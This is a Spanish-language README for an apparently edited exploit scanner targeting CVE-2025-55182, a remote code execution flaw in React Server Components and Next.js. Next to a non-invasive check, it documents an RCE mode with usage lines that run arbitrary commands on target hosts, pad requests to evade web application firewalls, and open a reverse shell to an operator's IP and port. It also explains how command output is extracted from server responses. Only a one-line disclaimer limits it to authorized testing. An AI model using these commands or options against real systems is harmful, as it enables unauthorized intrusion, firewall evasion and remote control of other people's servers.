
Una versión evolucionada del escáner de assetnote CVE-2025-55182
High Fidelity Detection for RSC/Next.js RCE
Scanner para detección de vulnerabilidades de Remote Code Execution (RCE) en aplicaciones React Server Components y Next.js.
React2Shell Scanner es una herramienta especializada para identificar vulnerabilidades de ejecución remota de código (RCE) en aplicaciones que utilizan React Server Components (RSC) y Next.js. La herramienta detecta vulnerabilidades relacionadas con los siguientes CVEs:
La herramienta realiza verificaciones de alta fidelidad utilizando detección de canal lateral (side-channel) y prueba de concepto de RCE, con capacidad de extraer resultados dinámicos de comandos ejecutados mediante el análisis automático de las respuestas HTTP.
Esta es una versión editada por @imguimoraes del escáner original desarrollado por Assetnote Security Research Team. El PoC RCE original fue creado por @maple3142.
pip install requests tqdm
O usando el archivo requirements.txt:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [opciones]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| Opción | Descripción |
|---|---|
-u, --url URL | URL o host único para verificar |
-l, --list FILE | Archivo que contiene la lista de hosts (uno por línea) |
| Opción | Descripción |
|---|---|
-t, --threads N | Número de hilos concurrentes (por defecto: 10) |
--timeout SECONDS | Tiempo de espera de las solicitudes en segundos (por defecto: 10) |
-k, --insecure | Deshabilitar verificación de certificado SSL (habilitado por defecto) |
| Opción | Descripción |
|---|---|
-H, --header "Key: Value" | Agregar cabecera HTTP personalizada (se puede usar múltiples veces) |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
El escáner muestra resultados con códigos de colores indicando el estado:
Para hosts vulnerables, el resultado del comando ejecutado se muestra cuando está disponible mediante la extracción automática de la cabecera X-Action-Redirect o del cuerpo de la respuesta.
Cuando se utiliza la opción -o, la salida se guarda en formato JSON con la siguiente estructura:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
Campos del resultado:
vulnerable: true si es vulnerable, false si no es vulnerable, null si ocurrió un errorcommand_result: Resultado del comando ejecutado extraído de la respuesta (cuando está disponible)final_url: URL final probada (después del seguimiento de redirecciones si está habilitado)status_code: Código HTTP de la respuestarequest: Solicitud HTTP completa enviadaresponse: Respuesta HTTP recibida (primeros 2000 caracteres)error: Mensaje de error si lo haytimestamp: Marca de tiempo UTC de la verificaciónEl escáner ofrece dos métodos de detección:
Safe Check (--safe-check): Detección de canal lateral no invasiva que verifica patrones de error en la respuesta sin ejecutar código. Útil para escaneo inicial sin impacto.
RCE PoC: Ejecución real de código remoto con extracción dinámica de los resultados. Utiliza payloads basados en Node.js child_process para ejecutar comandos del sistema.
El escáner realiza análisis automático de las respuestas HTTP para extraer resultados de comandos ejecutados:
X-Action-Redirect (formato: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} o 1:E{"digest":"<result>"})--payloadLa extracción se realiza dinámicamente, sin depender de valores fijos, permitiendo validar la ejecución de cualquier comando.
Cuando se utiliza la opción --waf-bypass:
--waf-bypass-size (por defecto: 128KB)El parámetro --payload permite especificar cualquier comando a ejecutar:
echo $((41*271)) (resultado: 11111)--windows esté activoEl resultado del comando se extrae y muestra automáticamente, independientemente del valor devuelto.
La opción --reverse-shell permite establecer una conexión reverse shell:
IP:PUERTO (ejemplo: 192.168.1.100:4444)powershell.exe/bin/shEsta herramienta está destinada exclusivamente para fines educativos y pruebas de seguridad autorizadas.
El exploit RCE original fue creado por @maple3142.
El escáner original fue desarrollado por Assetnote Security Research Team:
Esta versión editada mantiene las funcionalidades del escáner original con mejoras adicionales:
Editado por: guiimoraes
Si encuentra errores o tiene sugerencias de mejora, por favor abra un issue en el repositorio describiendo el problema de forma detallada.
| Opción | Descripción |
|---|
-o, --output FILE | Archivo de salida para resultados en formato JSON |
--all-results | Guardar todos los resultados en el archivo, no solo los vulnerables |
-v, --verbose | Salida verbosa (muestra fragmentos de respuesta para análisis) |
-q, --quiet | Modo silencioso (muestra solo hosts vulnerables) |
--no-color | Deshabilitar salida coloreada |
| Opción | Descripción |
|---|
--safe-check | Usar detección de canal lateral segura en lugar de PoC RCE (no ejecuta código) |
--windows | Usar payload PowerShell en lugar de shell Unix (para entornos Windows) |
--waf-bypass | Agregar datos aleatorios al payload para evasión de WAF (por defecto: 128KB) |
--waf-bypass-size KB | Tamaño de los datos aleatorios en KB para evasión de WAF (por defecto: 128) |
--payload COMMAND | Comando personalizado para ejecutar en el RCE (por defecto: echo $((41*271))) |
--reverse-shell IP:PORT | Crear conexión reverse shell para la IP:PUERTO especificada |